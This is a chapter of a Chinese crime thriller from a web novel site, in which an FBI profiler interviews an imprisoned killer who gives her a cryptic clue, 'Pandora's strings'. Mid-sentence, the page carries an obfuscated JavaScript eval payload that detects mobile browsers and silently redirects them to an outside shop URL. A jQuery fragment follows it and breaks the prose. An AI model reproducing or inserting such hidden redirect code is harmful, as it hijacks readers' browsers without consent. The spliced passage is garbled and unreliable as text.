文趣网 > 都市小说 > 鏡像獵人 > 2. 鏡中的第一次對話
    會客室裡的空調發出低頻的嗡鳴。

    那個聲音不大,卻像一隻蒼蠅在耳邊盤旋,固執得令人心煩。艾莉絲發現朱利安的目光曾經短暫地朝出風口的方向移動了一瞬,他在意那個聲音,只是選擇忽略。

    這是一個微小的細節。

    但在艾莉絲的世界裡,沒有微小的細節。

    「妳在觀察我。」朱利安說,微笑沒有從他臉上消失。「不必不好意思。我也在觀察妳。」

    「這是會面的目的。」艾莉絲的聲音比她預期的穩定。「彼此觀察。」

    「彼此。」朱利安重複這個詞,像是品嚐某種酒。「妳用了『彼此』。這很有趣。大部分來這裡的人——探員、檢察官、心理醫師——他們不會用這個詞。因為他們不認為我是一個『彼此』。我是一個對象。一個案件編號。一個需要被解開的鎖。」

    他將交疊的雙手分開,掌心朝上,像是一個無害的邀請。

    「但妳不一樣,艾莉絲。妳來這裡,不是為了審判我。妳來這裡,是因為妳需要我。」

    「我需要的是線索。」

    「那就是需要我。」他的聲音溫和得近乎殘忍。「我的知識、我的記憶、我的推理能力,那些都是『我』的一部分。妳不能只拿走果實,而否認樹的存在。」

    艾莉絲沒有反駁。反駁是他的遊戲,她拒絕上當。

    她從口袋裡掏出一張照片,滑過桌面。

    那是犯罪現場的照片。受害者的臉已經被處理過,FBI的標準程序,保護死者尊嚴,但胸口的拉丁文、被瑪瑙石覆蓋的眼睛、以及那雙被重新排列的手,都清晰可見。

    朱利安低頭看著照片。

    很長時間,他沒有說話。

    艾莉絲看著他的臉,等待某種反應,驚訝、憤怒、興奮、或者任何能幫助她定位他的情緒。但她什麼也沒看到。他的表情平靜如水,像是正在欣賞一幅他早就看過的畫。

    「怎麼樣?」她最終打破沉默。

    朱利安抬起頭。

    「妳希望我說是。」

    「我沒有,」

    「妳希望我說『這是模仿犯』,然後給妳一個名字、一個地址,妳去抓人,結案。」他靠回椅背,十指再次交疊。「但事實是...」他望向天花板,像是在斟酌詞語。「這不是模仿。這是學習。」

    「什麼意思?」

    「模仿是複製。」朱利安用一根手指敲了敲照片。「同樣的手法、同樣的簽名、同樣的儀式。但這個...」他輕輕推回照片。「這個人在學習。他在嘗試。他在問一個問題。」

    「什麼問題?」

    「『我是誰?』」

    艾莉絲的眉頭微皺。「這是凶手的問題?」

    「這是每一個藝術家的問題。」朱利安的微笑加深了一些。「當你開始創作,你最先面對的不是技巧,不是材料,而是這個問題:我是誰?我的聲音是什麼?我和那些在我之前的人有什麼不同?」

    他用下巴指了指照片。

    「這個人和我不一樣。他用我的語言說話,但他的句子結構不同。我的拉丁文引用自賀拉斯的《頌歌》,是完整的詩句。他的...」他微微搖頭。「『聽、看、沉默』。這不是詩。這是一道命令。」

    「對誰的命令?」

    朱利安沒有直接回答。他將目光轉向艾莉絲,那種審視的力度讓她本能地想要後退。

    「對妳。」他說。

    會客室裡的嗡鳴聲突然變得格外清晰。

    「對……我?」

    「受害者的身份不重要。」朱利安的語氣變得輕柔,像是在哄一個孩子。「重要的是觀眾。每一個現場都是一封信,艾莉絲。凶手在寫信。而收件人...」他伸出手指,隔空點向她的胸口。「是妳。」

    艾莉絲的呼吸停了一拍。

    「三年前,」朱利安繼續說,「妳追『藝術家』追了十四個月。妳的側寫報告將他定位為...讓我回憶一下...『具有古典學養的白人男性,年齡介於三十五至五十歲之間,可能從事醫護相關職業,童年經歷重大喪失,以儀式化謀殺重現未能解決的創傷』。」

    他逐字逐句說出這些內容,像是在背誦一首詩。

    「那份報告很出色。」他補充道。「出色到讓妳的上司把妳當成天才。也出色到讓『藝術家』把妳當成威脅。所以他反過來研究了妳...妳的童年、妳的母親、妳的失敗——他用那些東西擊垮了妳。」

    艾莉絲的手指在桌面下攥緊,指甲嵌入掌心。

    「現在,」朱利安的聲音最後落下,「他...或者他的繼承人...回來了。而他的第一個問題就是:三年過去了,那個曾經最了解我的人,現在還了解我嗎?」

    沉默。

    會客室裡只剩下空調的嗡鳴,以及兩個人的呼吸聲。

    艾莉絲的腦海中閃過無數個念頭。她應該反駁。她應該指出朱利安推理中的漏洞,比如他如何確定這件事與三年前的「藝術家」有關?比如他為什麼用「繼承人」而不是「模仿者」?

    但她沒有問那些問題。

    因為她知道,那些問題的答案會引導她走向他不願意對她公開的方向。

    所以她問了一個完全不同的問題。

    「你為什麼幫我?」

    朱利安的笑容沒有變化,但他的眼睛裡出現了一絲新的東西——不是驚訝,更像是欣賞。

    「我以為妳會先問『你怎麼知道的』。」

    「你怎麼知道的,那些側寫的細節、我的報告內容、甚至……」她幾乎說出「我的童年」,但她在中途吞回了那個詞。「那些都是公開記錄。」

    「所以妳選擇了另一個問題。」朱利安微微點頭。「聰明。『為什麼』比『怎麼』更有價值。」

    他沉默了幾秒。

    然後他說:「因為我無聊。」

    「……」

    「妳以為我會說什麼?因為良心發現?因為我想贖罪?」他的笑聲輕而短,像是某種自嘲。「艾莉絲,我在這裡待了四年。四年裡,我見過的人——律師、心理醫師、偶爾來採訪的記者,都是在問我已經回答過一百次的問題。妳是第一個提出新問題的人。」

    「所以你想玩遊戲。」

    「我想...」他頓了頓,選擇了一個詞。「對話。」

    「你的條件。」

    朱利安揚起眉毛。

    「你說過,」艾莉絲直視他的眼睛。「『合作需要代價』。你的代價是什麼?」

    這一次,朱利安的笑容變得真實了一些。那不是溫和的面具,而是某種更深層的東西——像是獵人看見獵物走進陷阱時的滿足。

    「每次會面之後,」他說,「我要在監獄圖書館多待兩個小時。」

    「就這麼簡單?」

    「就這麼簡單。」

    艾莉絲知道事情沒有這麼簡單。圖書館意味著書籍、書籍意味著知識、知識意味著力量。但她也知道,柳溪精神病院的圖書館藏書是經過嚴格審查的,沒有電話、沒有網路、沒有與外界聯繫的管道。

    她權衡了三秒。

    「成交。」

    朱利安伸出右手。

    艾莉絲看著那隻手,修長的手指,乾淨的指甲,手腕上沒有疤痕但有一層薄薄的繭。那是長期書寫留下的痕跡。

    她沒有握上去。

    「告訴我第一個線索。」她說,收回照片。

    朱利安收回手,絲毫不顯尷尬。

    「潘多拉的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545384|204120||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    琴弦。」他說。

    「什麼?」

    「『潘多拉的琴弦』。這是第一個線索。」他站起身,會面時間已經到了,低頭看著她。「去找一個懂得音樂的人,艾莉絲。然後問他們:潘多拉打開了盒子,釋放出世界上所有的災難,但留在盒子裡的最後一樣東西是什麼?」

    「希望。」艾莉絲毫不猶豫地回答。

    「對。」朱利安轉身走向門口。「但如果那把琴沒有弦呢?如果盒子裡從來沒有希望呢?」

    他沒有等她回答。

    金屬門在他身後關上,發出沈悶的聲響。

    艾莉絲坐在空蕩蕩的會客室裡,盯著那扇門。

    桌上,那張犯罪現場的照片靜靜躺著。受害者的瑪瑙石眼睛在冷白的燈光下反射出暗沈的光澤。

    她想起朱利安剛才說的最後一句話,想起他轉身前眼中閃過的那一絲光芒。

    那不是善意。

    那是某種更古老的東西,一種對遊戲本身的純粹熱愛。

    而她,剛剛同意成為他的對手。

    從柳溪精神病院出來的時候,雨已經停了,但天空依然灰得像一塊未乾的水泥。

    艾莉絲站在停車場,點燃一根菸。

    她不抽菸。至少三年來不曾抽過。但她的手需要做點什麼,否則她會忍不住打電話給丹尼,告訴他這一切從一開始就是個錯誤。

    “潘多拉的琴弦。”

    這是什麼意思?一個地點?一個代號?還是某種只有特定圈子才能理解的暗語?

    她拿出手機,翻找通訊錄。

    手指停在一個名字上:「米蘭達?陳」。

    鋼琴家。茱莉亞音樂學院畢業。目前在灰港市交響樂團擔任副指揮。更重要的是——她是馬庫斯的女兒。

    艾莉絲最後一次見到米蘭達是在馬庫斯的復健中心。那女孩當時二十一歲,剛拿到碩士學位,整個人像一把繃緊的弓。她對艾莉絲說了一句話,至今仍然刻在艾莉絲的記憶裡:

    「我不怪妳。但我爸爸不會再站起來了。所以請妳,不要再出現在我們面前。」

    艾莉絲沒有反駁。她點頭,轉身,走出了米蘭達的人生。

    三年了。

    她按下撥出鍵。

    響了三聲,對方接起來。

    「喂?」

    「米蘭達。」艾莉絲閉上眼睛。「是我。艾莉絲?馮恩。」

    電話那頭沉默了很長一段時間。

    「妳需要什麼?」米蘭達的聲音冷得像冬天的刀片。

    「我需要妳幫我理解一句話。」

    「什麼話?」

    「『潘多拉的琴弦』。」

    又是沉默。但這一次的沉默不一樣。艾莉絲聽見話筒那端傳來一陣輕微的聲響,像是某人倒抽了一口冷氣。

    「妳在哪裡?」米蘭達的聲音變了。那種冰冷消失了,取而代之的是一種艾莉絲不熟悉的東西。

    恐懼。

    「妳知道那是什麼?」艾莉絲問。

    「電話裡不能說。」米蘭達的聲音幾乎是耳語。「兩個小時後,來找我。我把地址發給妳。」

    「米蘭達——」

    嘟聲。

    她掛斷了。

    艾莉絲盯著手機螢幕,看著黑色的對話框裡跳出一個地址。

    灰港市,舊城區,第三大道十七號。

    她熄掉菸,打開車門。

    引擎發動的瞬間,她的手機再次震動。不是米蘭達,是一則沒有顯示號碼的簡訊。

    只有一行字:

    「老師說過,妳會來找我。」

    艾莉絲的手指懸在螢幕上方,一個字也打不出來。

    車窗外,灰港市的天空開始飄下細雨。